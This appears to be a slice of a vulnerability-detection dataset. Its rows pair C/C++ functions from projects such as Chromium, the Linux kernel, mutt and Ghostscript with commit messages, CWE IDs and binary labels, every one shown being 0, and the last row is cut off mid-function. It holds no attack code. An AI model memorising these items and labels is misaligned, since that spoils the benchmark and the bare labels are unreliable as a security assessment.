instruction
stringclasses 1
value | input
stringlengths 56
241k
| output
int64 0
1
| __index_level_0__
int64 0
175k
|
|---|---|---|---|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int check_capabilities(struct ImapData *idata)
{
if (imap_exec(idata, "CAPABILITY", 0) != 0)
{
imap_error("check_capabilities", idata->buf);
return -1;
}
if (!(mutt_bit_isset(idata->capabilities, IMAP4) ||
mutt_bit_isset(idata->capabilities, IMAP4REV1)))
{
mutt_error(
_("This IMAP server is ancient. NeoMutt does not work with it."));
return -1;
}
return 0;
}
Commit Message: quote imap strings more carefully
Co-authored-by: JerikoOne <jeriko.one@gmx.us>
CWE ID: CWE-77
| 0
| 79,573
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: error::Error GLES2DecoderPassthroughImpl::DoClearBufferuiv(
GLenum buffer,
GLint drawbuffers,
const volatile GLuint* value) {
api()->glClearBufferuivFn(buffer, drawbuffers,
const_cast<const GLuint*>(value));
return error::kNoError;
}
Commit Message: Add GL_PROGRAM_COMPLETION_QUERY_CHROMIUM
This makes the query of GL_COMPLETION_STATUS_KHR to programs much
cheaper by minimizing the round-trip to the GPU thread.
Bug: 881152, 957001
Change-Id: Iadfa798af29225e752c710ca5c25f50b3dd3101a
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1586630
Commit-Queue: Kenneth Russell <kbr@chromium.org>
Reviewed-by: Kentaro Hara <haraken@chromium.org>
Reviewed-by: Geoff Lang <geofflang@chromium.org>
Reviewed-by: Kenneth Russell <kbr@chromium.org>
Cr-Commit-Position: refs/heads/master@{#657568}
CWE ID: CWE-416
| 0
| 141,896
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: bool ExtensionApiTest::RunExtensionSubtest(const std::string& extension_name,
const std::string& page_url,
int flags) {
DCHECK(!page_url.empty()) << "Argument page_url is required.";
if (ExtensionSubtestsAreSkipped())
return true;
return RunExtensionTestImpl(extension_name, page_url, NULL, flags);
}
Commit Message: Hide DevTools frontend from webRequest API
Prevent extensions from observing requests for remote DevTools frontends
and add regression tests.
And update ExtensionTestApi to support initializing the embedded test
server and port from SetUpCommandLine (before SetUpOnMainThread).
BUG=797497,797500
TEST=browser_test --gtest_filter=DevToolsFrontendInWebRequestApiTest.HiddenRequests
Cq-Include-Trybots: master.tryserver.chromium.linux:linux_mojo
Change-Id: Ic8f44b5771f2d5796f8c3de128f0a7ab88a77735
Reviewed-on: https://chromium-review.googlesource.com/844316
Commit-Queue: Rob Wu <rob@robwu.nl>
Reviewed-by: Devlin <rdevlin.cronin@chromium.org>
Reviewed-by: Dmitry Gozman <dgozman@chromium.org>
Cr-Commit-Position: refs/heads/master@{#528187}
CWE ID: CWE-200
| 0
| 146,569
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static void vmw_user_surface_base_release(struct ttm_base_object **p_base)
{
struct ttm_base_object *base = *p_base;
struct vmw_user_surface *user_srf =
container_of(base, struct vmw_user_surface, prime.base);
struct vmw_resource *res = &user_srf->srf.res;
*p_base = NULL;
if (user_srf->backup_base)
ttm_base_object_unref(&user_srf->backup_base);
vmw_resource_unreference(&res);
}
Commit Message: drm/vmwgfx: Make sure backup_handle is always valid
When vmw_gb_surface_define_ioctl() is called with an existing buffer,
we end up returning an uninitialized variable in the backup_handle.
The fix is to first initialize backup_handle to 0 just to be sure, and
second, when a user-provided buffer is found, we will use the
req->buffer_handle as the backup_handle.
Cc: <stable@vger.kernel.org>
Reported-by: Murray McAllister <murray.mcallister@insomniasec.com>
Signed-off-by: Sinclair Yeh <syeh@vmware.com>
Reviewed-by: Deepak Rawat <drawat@vmware.com>
CWE ID: CWE-200
| 0
| 64,398
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: struct crypto_instance *crypto_init(
const unsigned char *private_key,
unsigned int private_key_len,
const char *crypto_cipher_type,
const char *crypto_hash_type,
const char *crypto_compat_type,
void (*log_printf_func) (
int level,
int subsys,
const char *function,
const char *file,
int line,
const char *format,
...)__attribute__((format(printf, 6, 7))),
int log_level_security,
int log_level_notice,
int log_level_error,
int log_subsys_id)
{
struct crypto_instance *instance;
instance = malloc(sizeof(*instance));
if (instance == NULL) {
return (NULL);
}
memset(instance, 0, sizeof(struct crypto_instance));
memcpy(instance->private_key, private_key, private_key_len);
instance->private_key_len = private_key_len;
instance->crypto_cipher_type = string_to_crypto_cipher_type(crypto_cipher_type);
instance->crypto_hash_type = string_to_crypto_hash_type(crypto_hash_type);
instance->crypto_compat_type = string_to_crypto_compat_type(crypto_compat_type);
instance->crypto_header_size = crypto_sec_header_size(crypto_cipher_type, crypto_hash_type);
instance->log_printf_func = log_printf_func;
instance->log_level_security = log_level_security;
instance->log_level_notice = log_level_notice;
instance->log_level_error = log_level_error;
instance->log_subsys_id = log_subsys_id;
if (init_nss(instance, crypto_cipher_type, crypto_hash_type, crypto_compat_type) < 0) {
free(instance);
return(NULL);
}
return (instance);
}
Commit Message: totemcrypto: fix hmac key initialization
Signed-off-by: Fabio M. Di Nitto <fdinitto@redhat.com>
Reviewed-by: Jan Friesse <jfriesse@redhat.com>
CWE ID:
| 0
| 41,057
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: authmethod_lookup(const char *name)
{
Authmethod *method = NULL;
if (name != NULL)
for (method = authmethods; method->name != NULL; method++)
if (strcmp(name, method->name) == 0)
return method;
debug2("Unrecognized authentication method name: %s", name ? name : "NULL");
return NULL;
}
Commit Message: Remove support for pre-authentication compression. Doing compression
early in the protocol probably seemed reasonable in the 1990s, but
today it's clearly a bad idea in terms of both cryptography (cf.
multiple compression oracle attacks in TLS) and attack surface.
Moreover, to support it across privilege-separation zlib needed
the assistance of a complex shared-memory manager that made the
required attack surface considerably larger.
Prompted by Guido Vranken pointing out a compiler-elided security
check in the shared memory manager found by Stack
(http://css.csail.mit.edu/stack/); ok deraadt@ markus@
NB. pre-auth authentication has been disabled by default in sshd
for >10 years.
CWE ID: CWE-119
| 0
| 72,236
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: decompileCALLMETHOD(int n, SWF_ACTION *actions, int maxn)
{
struct SWF_ACTIONPUSHPARAM *meth, *obj, *nparam;
meth=pop();
obj=pop();
nparam=pop();
if (nparam->p.Integer>25)
{
INDENT
println("// Problem getting method arguments (%d ignored) below:",
nparam->p.Integer);
nparam->p.Integer=0;
}
#ifdef DEBUG
printf("*CALLMethod* objName=%s (type=%d) methName=%s (type=%d)\n",
getName(obj), obj->Type, getName(meth), meth->Type);
#endif
if (meth->Type == PUSH_UNDEF) /* just undefined, like in "super();" */
push(newVar_N(getName(obj),"","","(", nparam->p.Integer,")"));
else
{
if (meth->Type == PUSH_INT || meth->Type == PUSH_DOUBLE || meth->Type == PUSH_VARIABLE
|| meth->Type == PUSH_REGISTER || meth->Type == 12 )
{
push(newVar_N(getName(obj),"[",getName(meth),"](", nparam->p.Integer,")"));
}
else
push(newVar_N(getName(obj),".",getName(meth),"(", nparam->p.Integer,")"));
}
if (OpCode(actions, n+1, maxn) == SWFACTION_POP)
{
/* call method and throw away any result */
INDENT
puts(getName(pop()));
println(";" );
return 1;
}
return 0;
}
Commit Message: decompileAction: Prevent heap buffer overflow and underflow with using OpCode
CWE ID: CWE-119
| 0
| 89,487
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: issuer_key_hash (ksba_cert_t cert, unsigned char *sha1_buffer)
{
gpg_error_t err;
const unsigned char *ptr;
size_t length, dummy;
err = _ksba_cert_get_public_key_ptr (cert, &ptr, &length);
if (!err)
{
err = _ksba_hash_buffer (NULL, ptr, length, 20, sha1_buffer, &dummy);
if (!err && dummy != 20)
err = gpg_error (GPG_ERR_BUG);
}
return err;
}
Commit Message:
CWE ID: CWE-20
| 0
| 10,892
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: mod_define_singleton_method(mrb_state *mrb, mrb_value self)
{
struct RProc *p;
mrb_method_t m;
mrb_sym mid;
mrb_value blk = mrb_nil_value();
mrb_get_args(mrb, "n&", &mid, &blk);
if (mrb_nil_p(blk)) {
mrb_raise(mrb, E_ARGUMENT_ERROR, "no block given");
}
p = (struct RProc*)mrb_obj_alloc(mrb, MRB_TT_PROC, mrb->proc_class);
mrb_proc_copy(p, mrb_proc_ptr(blk));
p->flags |= MRB_PROC_STRICT;
MRB_METHOD_FROM_PROC(m, p);
mrb_define_method_raw(mrb, mrb_class_ptr(mrb_singleton_class(mrb, self)), mid, m);
return mrb_symbol_value(mid);
}
Commit Message: Allow `Object#clone` to copy frozen status only; fix #4036
Copying all flags from the original object may overwrite the clone's
flags e.g. the embedded flag.
CWE ID: CWE-476
| 0
| 82,173
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int snd_ctl_elem_user_tlv(struct snd_kcontrol *kcontrol,
int op_flag,
unsigned int size,
unsigned int __user *tlv)
{
struct user_element *ue = kcontrol->private_data;
int change = 0;
void *new_data;
if (op_flag > 0) {
if (size > 1024 * 128) /* sane value */
return -EINVAL;
new_data = memdup_user(tlv, size);
if (IS_ERR(new_data))
return PTR_ERR(new_data);
mutex_lock(&ue->card->user_ctl_lock);
change = ue->tlv_data_size != size;
if (!change)
change = memcmp(ue->tlv_data, new_data, size);
kfree(ue->tlv_data);
ue->tlv_data = new_data;
ue->tlv_data_size = size;
mutex_unlock(&ue->card->user_ctl_lock);
} else {
int ret = 0;
mutex_lock(&ue->card->user_ctl_lock);
if (!ue->tlv_data_size || !ue->tlv_data) {
ret = -ENXIO;
goto err_unlock;
}
if (size < ue->tlv_data_size) {
ret = -ENOSPC;
goto err_unlock;
}
if (copy_to_user(tlv, ue->tlv_data, ue->tlv_data_size))
ret = -EFAULT;
err_unlock:
mutex_unlock(&ue->card->user_ctl_lock);
if (ret)
return ret;
}
return change;
}
Commit Message: ALSA: control: Handle numid overflow
Each control gets automatically assigned its numids when the control is created.
The allocation is done by incrementing the numid by the amount of allocated
numids per allocation. This means that excessive creation and destruction of
controls (e.g. via SNDRV_CTL_IOCTL_ELEM_ADD/REMOVE) can cause the id to
eventually overflow. Currently when this happens for the control that caused the
overflow kctl->id.numid + kctl->count will also over flow causing it to be
smaller than kctl->id.numid. Most of the code assumes that this is something
that can not happen, so we need to make sure that it won't happen
Signed-off-by: Lars-Peter Clausen <lars@metafoo.de>
Acked-by: Jaroslav Kysela <perex@perex.cz>
Cc: <stable@vger.kernel.org>
Signed-off-by: Takashi Iwai <tiwai@suse.de>
CWE ID: CWE-189
| 0
| 36,469
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static inline uint8_t vmxnet3_ring_curr_gen(Vmxnet3Ring *ring)
{
return ring->gen;
}
Commit Message:
CWE ID: CWE-200
| 0
| 9,051
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void UrlFetcherDownloader::OnDownloadProgress(int64_t current) {
DCHECK_CALLED_ON_VALID_THREAD(thread_checker_);
CrxDownloader::OnDownloadProgress();
}
Commit Message: Fix error handling in the request sender and url fetcher downloader.
That means handling the network errors by primarily looking at net_error.
Bug: 1028369
Change-Id: I8181bced25f8b56144ea336a03883d0dceea5108
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1935428
Reviewed-by: Joshua Pawlicki <waffles@chromium.org>
Commit-Queue: Sorin Jianu <sorin@chromium.org>
Cr-Commit-Position: refs/heads/master@{#719199}
CWE ID: CWE-20
| 0
| 136,829
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: register_address_increment(struct x86_emulate_ctxt *ctxt, unsigned long *reg, int inc)
{
if (ctxt->ad_bytes == sizeof(unsigned long))
*reg += inc;
else
*reg = (*reg & ~ad_mask(ctxt)) | ((*reg + inc) & ad_mask(ctxt));
}
Commit Message: KVM: x86: fix missing checks in syscall emulation
On hosts without this patch, 32bit guests will crash (and 64bit guests
may behave in a wrong way) for example by simply executing following
nasm-demo-application:
[bits 32]
global _start
SECTION .text
_start: syscall
(I tested it with winxp and linux - both always crashed)
Disassembly of section .text:
00000000 <_start>:
0: 0f 05 syscall
The reason seems a missing "invalid opcode"-trap (int6) for the
syscall opcode "0f05", which is not available on Intel CPUs
within non-longmodes, as also on some AMD CPUs within legacy-mode.
(depending on CPU vendor, MSR_EFER and cpuid)
Because previous mentioned OSs may not engage corresponding
syscall target-registers (STAR, LSTAR, CSTAR), they remain
NULL and (non trapping) syscalls are leading to multiple
faults and finally crashs.
Depending on the architecture (AMD or Intel) pretended by
guests, various checks according to vendor's documentation
are implemented to overcome the current issue and behave
like the CPUs physical counterparts.
[mtosatti: cleanup/beautify code]
Signed-off-by: Stephan Baerwolf <stephan.baerwolf@tu-ilmenau.de>
Signed-off-by: Marcelo Tosatti <mtosatti@redhat.com>
CWE ID:
| 0
| 21,833
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: ofputil_pull_ofp15_group_mod(struct ofpbuf *msg, enum ofp_version ofp_version,
struct ofputil_group_mod *gm)
{
const struct ofp15_group_mod *ogm;
uint16_t bucket_list_len;
enum ofperr error = OFPERR_OFPGMFC_BAD_BUCKET;
ogm = ofpbuf_pull(msg, sizeof *ogm);
gm->command = ntohs(ogm->command);
gm->type = ogm->type;
gm->group_id = ntohl(ogm->group_id);
gm->command_bucket_id = ntohl(ogm->command_bucket_id);
switch (gm->command) {
case OFPGC15_REMOVE_BUCKET:
if (gm->command_bucket_id == OFPG15_BUCKET_ALL) {
error = 0;
}
/* Fall through */
case OFPGC15_INSERT_BUCKET:
if (gm->command_bucket_id <= OFPG15_BUCKET_MAX ||
gm->command_bucket_id == OFPG15_BUCKET_FIRST
|| gm->command_bucket_id == OFPG15_BUCKET_LAST) {
error = 0;
}
break;
case OFPGC11_ADD:
case OFPGC11_MODIFY:
case OFPGC11_ADD_OR_MOD:
case OFPGC11_DELETE:
default:
if (gm->command_bucket_id == OFPG15_BUCKET_ALL) {
error = 0;
}
break;
}
if (error) {
VLOG_WARN_RL(&bad_ofmsg_rl,
"group command bucket id (%u) is out of range",
gm->command_bucket_id);
return OFPERR_OFPGMFC_BAD_BUCKET;
}
bucket_list_len = ntohs(ogm->bucket_array_len);
if (bucket_list_len > msg->size) {
return OFPERR_OFPBRC_BAD_LEN;
}
error = ofputil_pull_ofp15_buckets(msg, bucket_list_len, ofp_version,
gm->type, &gm->buckets);
if (error) {
return error;
}
error = parse_ofp15_group_properties(msg, gm->type, gm->command,
&gm->props, msg->size);
if (error) {
ofputil_bucket_list_destroy(&gm->buckets);
}
return error;
}
Commit Message: ofp-group: Don't assert-fail decoding bad OF1.5 group mod type or command.
When decoding a group mod, the current code validates the group type and
command after the whole group mod has been decoded. The OF1.5 decoder,
however, tries to use the type and command earlier, when it might still be
invalid. This caused an assertion failure (via OVS_NOT_REACHED). This
commit fixes the problem.
ovs-vswitchd does not enable support for OpenFlow 1.5 by default.
Reported-at: https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=9249
Signed-off-by: Ben Pfaff <blp@ovn.org>
Reviewed-by: Yifeng Sun <pkusunyifeng@gmail.com>
CWE ID: CWE-617
| 0
| 77,680
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: AXListBoxOption::~AXListBoxOption() {}
Commit Message: Switch to equalIgnoringASCIICase throughout modules/accessibility
BUG=627682
Review-Url: https://codereview.chromium.org/2793913007
Cr-Commit-Position: refs/heads/master@{#461858}
CWE ID: CWE-254
| 0
| 127,113
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void V8TestObject::SerializedScriptValueAttributeAttributeSetterCallback(
const v8::FunctionCallbackInfo<v8::Value>& info) {
RUNTIME_CALL_TIMER_SCOPE_DISABLED_BY_DEFAULT(info.GetIsolate(), "Blink_TestObject_serializedScriptValueAttribute_Setter");
v8::Local<v8::Value> v8_value = info[0];
test_object_v8_internal::SerializedScriptValueAttributeAttributeSetter(v8_value, info);
}
Commit Message: bindings: Support "attribute FrozenArray<T>?"
Adds a quick hack to support a case of "attribute FrozenArray<T>?".
Bug: 1028047
Change-Id: Ib3cecc4beb6bcc0fb0dbc667aca595454cc90c86
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1933866
Reviewed-by: Hitoshi Yoshida <peria@chromium.org>
Commit-Queue: Yuki Shiino <yukishiino@chromium.org>
Cr-Commit-Position: refs/heads/master@{#718676}
CWE ID:
| 0
| 135,147
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int set_machine_constraints(struct regulator_dev *rdev,
const struct regulation_constraints *constraints)
{
int ret = 0;
const struct regulator_ops *ops = rdev->desc->ops;
if (constraints)
rdev->constraints = kmemdup(constraints, sizeof(*constraints),
GFP_KERNEL);
else
rdev->constraints = kzalloc(sizeof(*constraints),
GFP_KERNEL);
if (!rdev->constraints)
return -ENOMEM;
ret = machine_constraints_voltage(rdev, rdev->constraints);
if (ret != 0)
goto out;
ret = machine_constraints_current(rdev, rdev->constraints);
if (ret != 0)
goto out;
/* do we need to setup our suspend state */
if (rdev->constraints->initial_state) {
ret = suspend_prepare(rdev, rdev->constraints->initial_state);
if (ret < 0) {
rdev_err(rdev, "failed to set suspend state\n");
goto out;
}
}
if (rdev->constraints->initial_mode) {
if (!ops->set_mode) {
rdev_err(rdev, "no set_mode operation\n");
ret = -EINVAL;
goto out;
}
ret = ops->set_mode(rdev, rdev->constraints->initial_mode);
if (ret < 0) {
rdev_err(rdev, "failed to set initial mode: %d\n", ret);
goto out;
}
}
/* If the constraints say the regulator should be on at this point
* and we have control then make sure it is enabled.
*/
if (rdev->constraints->always_on || rdev->constraints->boot_on) {
ret = _regulator_do_enable(rdev);
if (ret < 0 && ret != -EINVAL) {
rdev_err(rdev, "failed to enable\n");
goto out;
}
}
if ((rdev->constraints->ramp_delay || rdev->constraints->ramp_disable)
&& ops->set_ramp_delay) {
ret = ops->set_ramp_delay(rdev, rdev->constraints->ramp_delay);
if (ret < 0) {
rdev_err(rdev, "failed to set ramp_delay\n");
goto out;
}
}
print_constraints(rdev);
return 0;
out:
kfree(rdev->constraints);
rdev->constraints = NULL;
return ret;
}
Commit Message: regulator: core: Fix regualtor_ena_gpio_free not to access pin after freeing
After freeing pin from regulator_ena_gpio_free, loop can access
the pin. So this patch fixes not to access pin after freeing.
Signed-off-by: Seung-Woo Kim <sw0312.kim@samsung.com>
Signed-off-by: Mark Brown <broonie@kernel.org>
CWE ID: CWE-416
| 0
| 74,563
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int do_send_NPW_PluginInstance(rpc_message_t *message, void *p_value)
{
NPW_PluginInstance *plugin = (NPW_PluginInstance *)p_value;
uint32_t instance_id = 0;
if (plugin)
instance_id = plugin->instance_id;
return rpc_message_send_uint32(message, instance_id);
}
Commit Message: Support all the new variables added
CWE ID: CWE-264
| 0
| 27,002
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: DevToolsSession::~DevToolsSession() {
dispatcher_.reset();
for (auto& pair : handlers_)
pair.second->Disable();
handlers_.clear();
}
Commit Message: DevTools: speculative fix for crash in NetworkHandler::Disable
This keeps BrowserContext* and StoragePartition* instead of
RenderProcessHost* in an attemp to resolve UAF of RenderProcessHost
upon closure of DevTools front-end.
Bug: 801117, 783067, 780694
Change-Id: I6c2cca60cc0c29f0949d189cf918769059f80c1b
Reviewed-on: https://chromium-review.googlesource.com/876657
Commit-Queue: Andrey Kosyakov <caseq@chromium.org>
Reviewed-by: Dmitry Gozman <dgozman@chromium.org>
Cr-Commit-Position: refs/heads/master@{#531157}
CWE ID: CWE-20
| 0
| 148,426
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static void locationAttributeGetter(const v8::PropertyCallbackInfo<v8::Value>& info)
{
TestObject* imp = V8TestObject::toNative(info.Holder());
v8SetReturnValueFast(info, WTF::getPtr(imp->location()), imp);
}
Commit Message: document.location bindings fix
BUG=352374
R=jochen@chromium.org
Review URL: https://codereview.chromium.org/196343011
git-svn-id: svn://svn.chromium.org/blink/trunk@169176 bbb929c8-8fbe-4397-9dbb-9b2b20218538
CWE ID: CWE-399
| 0
| 121,743
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static void assign_register(unsigned long *reg, u64 val, int bytes)
{
/* The 4-byte case *is* correct: in 64-bit mode we zero-extend. */
switch (bytes) {
case 1:
*(u8 *)reg = (u8)val;
break;
case 2:
*(u16 *)reg = (u16)val;
break;
case 4:
*reg = (u32)val;
break; /* 64b: zero-extend */
case 8:
*reg = val;
break;
}
}
Commit Message: KVM: x86: drop error recovery in em_jmp_far and em_ret_far
em_jmp_far and em_ret_far assumed that setting IP can only fail in 64
bit mode, but syzkaller proved otherwise (and SDM agrees).
Code segment was restored upon failure, but it was left uninitialized
outside of long mode, which could lead to a leak of host kernel stack.
We could have fixed that by always saving and restoring the CS, but we
take a simpler approach and just break any guest that manages to fail
as the error recovery is error-prone and modern CPUs don't need emulator
for this.
Found by syzkaller:
WARNING: CPU: 2 PID: 3668 at arch/x86/kvm/emulate.c:2217 em_ret_far+0x428/0x480
Kernel panic - not syncing: panic_on_warn set ...
CPU: 2 PID: 3668 Comm: syz-executor Not tainted 4.9.0-rc4+ #49
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Bochs 01/01/2011
[...]
Call Trace:
[...] __dump_stack lib/dump_stack.c:15
[...] dump_stack+0xb3/0x118 lib/dump_stack.c:51
[...] panic+0x1b7/0x3a3 kernel/panic.c:179
[...] __warn+0x1c4/0x1e0 kernel/panic.c:542
[...] warn_slowpath_null+0x2c/0x40 kernel/panic.c:585
[...] em_ret_far+0x428/0x480 arch/x86/kvm/emulate.c:2217
[...] em_ret_far_imm+0x17/0x70 arch/x86/kvm/emulate.c:2227
[...] x86_emulate_insn+0x87a/0x3730 arch/x86/kvm/emulate.c:5294
[...] x86_emulate_instruction+0x520/0x1ba0 arch/x86/kvm/x86.c:5545
[...] emulate_instruction arch/x86/include/asm/kvm_host.h:1116
[...] complete_emulated_io arch/x86/kvm/x86.c:6870
[...] complete_emulated_mmio+0x4e9/0x710 arch/x86/kvm/x86.c:6934
[...] kvm_arch_vcpu_ioctl_run+0x3b7a/0x5a90 arch/x86/kvm/x86.c:6978
[...] kvm_vcpu_ioctl+0x61e/0xdd0 arch/x86/kvm/../../../virt/kvm/kvm_main.c:2557
[...] vfs_ioctl fs/ioctl.c:43
[...] do_vfs_ioctl+0x18c/0x1040 fs/ioctl.c:679
[...] SYSC_ioctl fs/ioctl.c:694
[...] SyS_ioctl+0x8f/0xc0 fs/ioctl.c:685
[...] entry_SYSCALL_64_fastpath+0x1f/0xc2
Reported-by: Dmitry Vyukov <dvyukov@google.com>
Cc: stable@vger.kernel.org
Fixes: d1442d85cc30 ("KVM: x86: Handle errors when RIP is set during far jumps")
Signed-off-by: Radim Krčmář <rkrcmar@redhat.com>
CWE ID: CWE-200
| 0
| 47,939
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: GraphicsContext3D* CCThreadProxy::context()
{
return 0;
}
Commit Message: [chromium] Fix shutdown race when posting main thread task to CCThreadProxy and enable tests
https://bugs.webkit.org/show_bug.cgi?id=70161
Reviewed by David Levin.
Source/WebCore:
Adds a weak pointer mechanism to cancel main thread tasks posted to CCThreadProxy instances from the compositor
thread. Previously there was a race condition where main thread tasks could run even after the CCThreadProxy was
destroyed.
This race does not exist in the other direction because when tearing down a CCThreadProxy we first post a quit
task to the compositor thread and then suspend execution of the main thread until all compositor tasks for the
CCThreadProxy have been drained.
Covered by the now-enabled CCLayerTreeHostTest* unit tests.
* WebCore.gypi:
* platform/graphics/chromium/cc/CCScopedMainThreadProxy.h: Added.
(WebCore::CCScopedMainThreadProxy::create):
(WebCore::CCScopedMainThreadProxy::postTask):
(WebCore::CCScopedMainThreadProxy::shutdown):
(WebCore::CCScopedMainThreadProxy::CCScopedMainThreadProxy):
(WebCore::CCScopedMainThreadProxy::runTaskIfNotShutdown):
* platform/graphics/chromium/cc/CCThreadProxy.cpp:
(WebCore::CCThreadProxy::CCThreadProxy):
(WebCore::CCThreadProxy::~CCThreadProxy):
(WebCore::CCThreadProxy::createBeginFrameAndCommitTaskOnCCThread):
* platform/graphics/chromium/cc/CCThreadProxy.h:
Source/WebKit/chromium:
Enables the CCLayerTreeHostTest* tests by default. Most tests are run twice in a single thread and multiple
thread configuration. Some tests run only in the multiple thread configuration if they depend on the compositor
thread scheduling draws by itself.
* tests/CCLayerTreeHostTest.cpp:
(::CCLayerTreeHostTest::timeout):
(::CCLayerTreeHostTest::clearTimeout):
(::CCLayerTreeHostTest::CCLayerTreeHostTest):
(::CCLayerTreeHostTest::onEndTest):
(::CCLayerTreeHostTest::TimeoutTask::TimeoutTask):
(::CCLayerTreeHostTest::TimeoutTask::clearTest):
(::CCLayerTreeHostTest::TimeoutTask::~TimeoutTask):
(::CCLayerTreeHostTest::TimeoutTask::Run):
(::CCLayerTreeHostTest::runTest):
(::CCLayerTreeHostTest::doBeginTest):
(::CCLayerTreeHostTestThreadOnly::runTest):
(::CCLayerTreeHostTestSetNeedsRedraw::commitCompleteOnCCThread):
git-svn-id: svn://svn.chromium.org/blink/trunk@97784 bbb929c8-8fbe-4397-9dbb-9b2b20218538
CWE ID: CWE-119
| 0
| 97,829
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: pdf14_pop_transparency_mask(pdf14_ctx *ctx, gs_gstate *pgs, gx_device *dev)
{
pdf14_buf *tos = ctx->stack;
byte *new_data_buf;
int icc_match;
cmm_profile_t *des_profile = tos->parent_color_info_procs->icc_profile; /* If set, this should be a gray profile */
cmm_profile_t *src_profile;
gsicc_rendering_param_t rendering_params;
gsicc_link_t *icc_link;
gsicc_rendering_param_t render_cond;
cmm_dev_profile_t *dev_profile;
dev_proc(dev, get_profile)(dev, &dev_profile);
gsicc_extract_profile(GS_UNKNOWN_TAG, dev_profile, &src_profile,
&render_cond);
ctx->smask_depth -= 1;
/* icc_match == -1 means old non-icc code.
icc_match == 0 means use icc code
icc_match == 1 mean no conversion needed */
if ( des_profile != NULL && src_profile != NULL ) {
icc_match = (des_profile->hashcode == src_profile->hashcode);
} else {
icc_match = -1;
}
if_debug1m('v', ctx->memory, "[v]pdf14_pop_transparency_mask, idle=%d\n",
tos->idle);
ctx->stack = tos->saved;
tos->saved = NULL; /* To avoid issues with GC */
if (tos->mask_stack) {
/* During the soft mask push, the mask_stack was copied (not moved) from
the ctx to the tos mask_stack. We are done with this now so it is safe to
just set to NULL. However, before we do that we must perform
rc decrement to match the increment that occured was made. Also,
if this is the last ref count of the rc_mask, we should free the
buffer now since no other groups need it. */
rc_decrement(tos->mask_stack->rc_mask,
"pdf14_pop_transparency_mask(tos->mask_stack->rc_mask)");
if (tos->mask_stack->rc_mask) {
if (tos->mask_stack->rc_mask->rc.ref_count == 1){
rc_decrement(tos->mask_stack->rc_mask,
"pdf14_pop_transparency_mask(tos->mask_stack->rc_mask)");
}
}
tos->mask_stack = NULL;
}
if (tos->data == NULL ) {
/* This can occur in clist rendering if the soft mask does
not intersect the current band. It would be nice to
catch this earlier and just avoid creating the structure
to begin with. For now we need to delete the structure
that was created. Only delete if the alpha value is 255 */
if (tos->alpha == 255) {
pdf14_buf_free(tos);
if (ctx->mask_stack != NULL) {
pdf14_free_mask_stack(ctx, ctx->memory);
}
} else {
/* Assign as mask buffer */
if (ctx->mask_stack != NULL) {
pdf14_free_mask_stack(ctx, ctx->memory);
}
ctx->mask_stack = pdf14_mask_element_new(ctx->memory);
ctx->mask_stack->rc_mask = pdf14_rcmask_new(ctx->memory);
ctx->mask_stack->rc_mask->mask_buf = tos;
}
ctx->smask_blend = false; /* just in case */
} else {
/* If we are already in the source space then there is no reason
to do the transformation */
/* Lets get this to a monochrome buffer and map it to a luminance only value */
/* This will reduce our memory. We won't reuse the existing one, due */
/* Due to the fact that on certain systems we may have issues recovering */
/* the data after a resize */
new_data_buf = gs_alloc_bytes(ctx->memory, tos->planestride,
"pdf14_pop_transparency_mask");
if (new_data_buf == NULL)
return_error(gs_error_VMerror);
/* Initialize with 0. Need to do this since in Smask_Luminosity_Mapping
we won't be filling everything during the remap if it had not been
written into by the PDF14 fill rect */
memset(new_data_buf, 0, tos->planestride);
/* If the subtype was alpha, then just grab the alpha channel now
and we are all done */
if (tos->SMask_SubType == TRANSPARENCY_MASK_Alpha) {
ctx->smask_blend = false; /* not used in this case */
